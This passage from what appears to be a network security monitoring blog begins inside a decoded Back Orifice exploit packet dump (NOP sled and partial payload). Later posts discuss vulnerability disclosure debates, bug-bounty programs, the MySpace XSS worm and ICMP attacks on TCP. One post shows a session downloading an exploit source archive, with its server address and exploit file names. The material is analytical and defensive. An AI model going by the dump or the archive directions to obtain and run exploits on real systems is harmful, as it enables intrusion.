# remainder of the header is 9 bytes).
#
##############################################
#
# Date/time: Tue Oct 25 09:47:21 2005
# Source IP: 192.168.2.5
# Dest IP: 66.93.110.10
# Source port: 64544
# Dest port: 53
# UDP data len: 1400
# BO key (dec): 31337
# BO key (hex): 0x7A69
# BO data len: -18 (UDP len - 17 byte BO header)
# BO pkt id: -1
# BO pkt type: 0x01 (0x01 = PING)
#
# Decrypted BO data:
#
0x0000: FF FF FF FF FF FF FF FF 01 90 90 90 90 90 90 90 ................
0x0010: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x0020: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
...edited...
0x0550: 3D AA E7 D7 80 CA 0F 07 36 14 2A 0C 65 08 05 8C =.......6.*.e...
0x0560: EE 97 25 0C 0F 90 66 06 2B 5B E2 3C CE E9 14 4B ..%...f.+[.<...K
0x0570: 00 00 00 00 00 00 00 00 ........
#
# Decoded packet num: 1; Exploit: yes; Timestamp: Tue Oct 25 09:47:21 2005

On a related note, I saw Tom Ptacek comment on my earlier post. Tom says:

"There is nothing wrong with looking for vulnerabilities in your competitor's products, and Neel Mehta has built enough of a rep for himself that he doesn't need to take 'marching orders' from anybody."

I agree there is nothing wrong with looking for vulnerabilities in your competitor's products. However, are we supposed to believe that Neel Mehta, an ISS X-Force researcher, developed this exploit on his own? Are we supposed to think he did not do this at the direction of his employer, who published an advisory? If Neel discovered this vulnerability on his own, and not while working for ISS, why did Sourcefire learn of the vulnerability from US-CERT and not Neel himself?

Jumat, 14 Oktober 2005

MySpace Worm Demonstrates NSM Principles

In my first book, the The Tao of Network Security Monitoring: Beyond Intrusion Detection, I say "some intruders are smarter than you," and "intruders are unpredictable." Because of these two facts, prevention eventually fails. In other words, intruders are cleverly figuring out ways to circumvent security of services you have never heard about in ways you could not imagine. As a result, defenses fail and monitoring is the only way to detect that failure and respond appropriately.

The story Cross-Site Scripting Worm Hits MySpace is a perfect example of these principles in action. In short, someone figured out how to create a worm on the MySpace online community. More details are posted at this Slashdot thread.

I had never heard of MySpace until today, but over a million users were affected by this worm. Did you see this coming? Of course not. There is little point in forecasting future threats. The best we can do is to implement the best preventative defenses we can, monitor everything else, and respond in a timely manner.

Rabu, 10 Agustus 2005

More Mildly Condescending Comments

Pete has responded to my previous post. Pete says:

"I actually believe the REAL threat exists. While everyone else works on the manufactured stuff, I want to protect my assets against true threats.

Regardless of my level of confidence, however, I don't claim to have evidence and I refuse to manufacture it. And I find general 'cloak and dagger' statements that security professionals make to be lacking any impact whatsoever...

If you really do know and can't say, why would you hang the entire Internet out to dry by keeping in-the-wild exploits against undercover vulnerabilities a secret while you encourage the wheel spinning of research and disclosure?"

Many readers in the DC metropolitan area will recognize that I am in a delicate position here. All I can really do is point to some publicly available documents to try to change Pete's world view. He can then make up his own mind. These are all open source, Internet-available documents hosted on completely public .mil sites for the benefit of visitors.

That's all I can say on the matter. I'm not trying to be devious, but there are lines that cannot be crossed. I hope Pete appreciates the picture of Gamera I managed to find for him.

Selasa, 09 Agustus 2005

Ptacek v. Lindstrom

There's a major battle over vulnerability and exploit disclosure occurring between Thomas Ptacek and Pete Lindstrom. I've linked the first post in each side of the debate. I don't know which one should be Godzilla or Mechagodzilla, but I liked the photo at left.

I think each side makes some valid points. I agree with Tom that vulnerability disclosure has resulted in elimination of many security problems. I agree with Pete that, in some sense, nothing has really improved, as victims are still being compromised. In the end I would lean more towards Tom; clueful people have a better chance of defending their networks, and at least knowing what is happening if their preventative measures fail. Remember that ten years ago their was no Snort, no Ethereal, no Nessus. Fifteen years ago there was no Argus, and no FreeBSD! Would you believe that Tcpdump is over eighteen years old though?

Tom does make an excellent point regarding cryptanalysis: why is it ok to analyze and break crypto algorithms, but supposedly not security software? Could it be that the people who really need strong crypto, like .gov and .mil types, know that bad guys are always trying to break the good guys' crypto?

If we are to believe Pete, we would not recognize this fact. Because Pete doesn't have first-hand knowledge of the sorts of research that occurs "in the shadows," he is quick to poke fun at people like Adam Shostack who say "We've always known that there's lots of exploit code for unannounced vulnerabilities out there." Pete and friends, there are people who have developed techniques months, and in some cases, years, before they appear in mailing lists or Black Hat talks.

With regard to discussions on specific new vulnerabilities and exploits, all I can tell you is "those who say don't know, and those who know can't say."

Rabu, 27 Juli 2005

Snort "Not Eliligible" for Zero Day Initiative

I recently wrote about TippingPoint's Zero Day Initiative (ZDI), a pay-for-vulnerabilities program. Thank you to the poster (whom I will keep anonymous) for notifying me of this article Vendors Compete for Hacker Zero Days by Kevin Murphy. It features this quote:

"[C]ompetitors will have to sign agreements to the effect that they will not irresponsibly disclose the information, and that any data they provide to their own customers cannot be easily reverse engineered into an attack, he [3Com’s David Endler] said.

"'Some technology based on Snort would not be eligible because Snort by its nature is open,' Endler said, referring to the open-source IDS software. 'But there are products based on Snort that are closed. We’ll have to take it on a case-by-case basis.'"

This means Sourcefire will never be able to learn of ZDI vulnerabilities. Any registered Snort user can download Sourcefire VRT rules and see everything except rules younger than five days old. VRT subscribers have access to the latest rules immediately.

It sounds to me like the only "technology based on Snort" that would be "eligible" would be sensors provided by a managed security services provider, or sensors sold without access to the console and rule sets. Such vendors could add ZDI-inspired rules but never let users see them.

I never thought for a minute TippingPoint would do anything to help Sourcefire, as they are two major competitors in the (misnamed) IPS market.

Senin, 25 Juli 2005

Thoughts on TippingPoint Zero Day Initiative Program

Through the accursed Slashdot I learned of Tipping Point's Zero Day Initiative program. (Incidentally, I just figured out that Slashdot is like Saturday Night Live: we all remember it being a lot better years ago, it stinks now, yet we still watch.) According to this CNet story by Joris Evers, which cites TippingPoint's rationale for the program:

"'We want to reward and encourage independent security research, promote and ensure responsible disclosure of vulnerabilities and provide 3Com customers with the world's best security protection,' David Endler, director of security research at TippingPoint, said in an interview."

This program is similar to the iDEFENSE Vulnerability Contributor Program launched in 2002 amidst much fanfare. This April 2003 interview with iDEFENSE VPC Manager Sunil James is also enlightening. Part of the VCP is a retention reward program that paid a $3,000 bonus to the Danish CIRT and $1,000 to l0rd_yup for vulnerabilities reported to iDEFENSE in the first quarter of 2005. Some iDEFENSE advisories give anonymous credit to vulnerability discovers, like Sophos Anti-Virus Zip File Handling DoS Vulnerability, while others name their sources, like Lord Yup in Microsoft Word 2000 and Word 2002 Font Parsing Buffer Overflow Vulnerability. In some cases iDEFENSE Labs finds the hole, as in Adobe Acrobat Reader UnixAppOpenFilePerform() Buffer Overflow Vulnerability.

Thus far I have not heard much discussion about iDEFENSE's program, although it seems like the payout to the vulnerability researchers is dwarfed by the value earned by iDEFENSE. Otherwise I have not heard too many condemnations of the pay-for-bugs program and I have not heard of anyone suing iDEFENSE over a vulnerability produced through their VCP.

Looking at some of the details of the TippingPoint Zero Day Initiative, I found this item in their FAQ amusing:

"Since 3Com and TippingPoint customers are protected prior to the disclosure, are they aware of the vulnerability?

In order to maintain the secrecy of a researcher's vulnerability discovery until a product vendor can develop a patch, 3Com and TippingPoint customers are only provided a generic description of the filter provided but are not informed of the vulnerability. Once details are made public in coordination with the product vendor, TippingPoint's Digital Vaccine® service for the Intrusion Prevention System provides an updated description so that customers can identify the appropriate filters that were protecting them. In other words, 3Com and TippingPoint will be protected from the vulnerability in advance, but they will not be able to tell from the description what the vulnerability is."

Anyone who reads this blog knows I think this sort of "protection through secrecy" is ridiculous. If I can't figure out how a product is making its decision to "protect" me, I will try to avoid it. I certainly wouldn't want it blocking traffic on my behalf. What about anti-virus software, you ask? I don't run it on my servers!

This is also funny:

"Why are you giving advance notice of the vulnerability information you've bought to other security vendors, including competitors?

We are sharing with other security vendors in an effort to do the most good with the information we have acquired. We feel we can still maintain a competitive advantage with respect to our customers while facilitating the protection of a customer base larger than our own.

What types of security vendors are eligible for the advanced notice?

In order to qualify for advanced notice, the security vendors must be in a position to remediate or provide protection of vulnerabilities with their solution, while not revealing details of the vulnerability itself to customers. The security vendor's product must also be resistant to discovery of the vulnerability through trivial reverse engineering. An example of such a vendor would be an Intrusion Prevention System, Intrusion Detection System, Vulnerability Scanner or Vulnerability Management System vendor."

I am eager to see what vendors can live up to these requirements. Snort rules won't, and neither will Nessus NASL scripts.

I am uneasy about programs like this. Consider modifying Mr. Endler's statement in this manner:

"We want to reward and encourage independent security research, promote and ensure responsible creation of viruses and provide our customers with the world's best security protection."

A virus is malware launched by a threat; it's not a vulnerability. Publication of a vulnerability does not explicitly mean publication of new code to be used by threats. Still, it's not that difficult to move from vulnerability disclosure to exploit creation.

TippingPoint is basically paying researchers to justify the vendor's existence. No vulnerabilities = no need to buy a TippingPoint IPS. More vulnerabilities means more opportunities for threats to craft exploit code, and that justifies buying more IPSs.

How is this different from the Mozilla Bug Bounty program, you might ask? When Mozilla pays researchers to report vulnerabilities in Mozilla code, Mozilla is effectively outsourcing its security quality assurance program. This is done to improve the quality of the software released by Mozilla. When TippingPoint pays researchers to report vulnerabilities in anyone's software, and then keeps those vulnerabilities to itself (followed by limited disclosure), TippingPoint is justifying its product's existence.

You might also wonder what I think of Microsoft's $250,000 bonus to those who expose virus writers. I have no problems with such a program, and I see it as another way to remove threats from the streets.

Sabtu, 30 April 2005

SecurityForest.com ExploitTree

This afternoon I was researching a bot for a chapter in my latest book. I don't spend a lot of time on exploit sites because I am not a penetration tester by trade. I think the last time I really looked at exploits, sites like www.hack.co.za were still around!

While searching for the bot in question, I happened to find SecurityForest.com, although the site was announced on BugTraq in March. SecurityForest.com is an impressive piece of work. The site is essentially a giant CVS archive of attack code, called the ExploitTree. They provide a Client Utility, which at least for UNIX, is an interface to a native CVS client. For Windows, they provide everything you need to access a CVS server.

Here is how a session using the ExploitTree Client Utility appears under UNIX.


./ExploitTree.pl anonymous

ExploitTree Client Utility Manager v0.6
----------------------------------------

1) Initialize (first time download)
2) Update Repository
3) Print Exploit Statistics
q) Quit

> 1
Password is blank (press enter), then wait...

Logging in to :pserver:anonymous@cvs.securityforest.com:2401/home/security/cvsroot
CVS password:
cvs login: warning: failed to open /home/richard/.cvspass for reading:
No such file or directory
cvs server: Updating ExploitTree
U ExploitTree/_SecurityForest
U ExploitTree/_Ver
U ExploitTree/bids.txt
U ExploitTree/exploit_db.txt
U ExploitTree/xsearch.pl
U ExploitTree/xsearch2-beta.pl
cvs server: Updating ExploitTree/application
U ExploitTree/application/_SecurityForest
cvs server: Updating ExploitTree/application/_uncategorized
U ExploitTree/application/_uncategorized/0verkill-exploit.c
U ExploitTree/application/_uncategorized/0x82-GNATS_sux.c
U ExploitTree/application/_uncategorized/0x82-Remote.tannehehe.xpl.c
U ExploitTree/application/_uncategorized/0x82-libCGIfpxpl.c
U ExploitTree/application/_uncategorized/101_shixx.cpp
...edited...
U ExploitTree/system/tru64/TRU64_xkb.pl
U ExploitTree/system/tru64/_SecurityForest
Quiting...

Here's an example of what one finds when the download process is finished.

janney:/home/richard/exploittree/ExploitTree$ ls
CVS bids.txt xsearch.pl
_SecurityForest exploit_db.txt xsearch2-beta.pl
_Ver network
application system
janney:/home/richard/exploittree/ExploitTree$ cd system/
janney:/home/richard/exploittree/ExploitTree/system$ ls
CVS atheos irix novell tru64
_SecurityForest beos linux qnx
_uncategorized bsd mac_osx sco
aix hpux microsoft solaris
janney:/home/richard/exploittree/ExploitTree/system$ cd bsd
janney:/home/richard/exploittree/ExploitTree/system/bsd$ ls
CVS _SecurityForest local remote
janney:/home/richard/exploittree/ExploitTree/system/bsd$ cd remote/
janney:/home/richard/exploittree/ExploitTree/system/bsd/remote$ ls
CVS animal.c freebsd obooptd.c rpc.autofsd.c
_SecurityForest bsdi netbuf.c openbsd stream3.c
janney:/home/richard/exploittree/ExploitTree/system/bsd/remote$ cd freebsd/
janney:/home/richard/exploittree/ExploitTree/system/bsd/remote/freebsd$ ls
CVS fbsd-DoS.c ronin.c
DSR-cfengine.pl fbsd-bnc.c turkey2.c
_SecurityForest ftpspy.c
cURL-remote-FBSD.pl ppp.c

I chose a sparsely populated set of directories. The Microsoft section is much longer.

What's nice about this set-up is that you can synchronize your local copy of the ExploitTree with the SecurityForest.com version using CVS.

Other helpful exploit sites include milw0rm.com and ExploitWatch, which reports on newly available exploits by linking to them.

Selasa, 12 April 2005

ICMP Attacks Against TCP

When reading today's Incident Handler's Diary, I learned of the public release of draft-gont-tcpm-icmp-attacks-03.txt by the IETF. This Internet Draft explains how forged ICMP messages could be used to conduct denial of service attacks against TCP services. This is the core of the problem:

The Host Requirements RFC [4] states that a TCP MUST act on an ICMP
error message passed up from the IP layer, directing it to the
connection that created the error.

In order to allow ICMP messages to be demultiplexed by the receiving
host, part of the original packet that elicited the message is
included in the payload of the ICMP error message. Thus, the
receiving host can use that information to match the ICMP error to
the instance of the transport protocol that elicited it.

Neither the Host Requirements RFC [4] nor the original TCP
specification [1] recommend any security checks on the received ICMP
messages. Thus, as long as the ICMP payload contains the correct
four-tuple that identifies the communication instance, it will be
processed by the corresponding transport-protocol instance, and the
corresponding action will be performed.

Therefore, an attacker could send a forged ICMP message to the
attacked host, and, as long as he is able to guess the four-tuple
that identifies the communication instance to be attacked, he can use
ICMP to perform a variety of attacks.

I was unaware that TCP services paid any real attention to ICMP messages, since TCP has its own mechanisms for handling errors (unlike UDP).

Vendors like Cisco have published bulletins addressing this problem. Fernando Gont brought this issue to the attention of the UK-based National Infrastructure Security Co-ordination Centre. This is the same organization that worked with Paul Watson on last year's TCP reset vulnerabilities.

Sabtu, 11 Januari 2003

SecurityFocus Removes Exploits from Database

Have you noticed that SecurityFocus has removed exploit code from its vulnerability database? Anyone knowing why, please email me at richard at taosecurity dot com.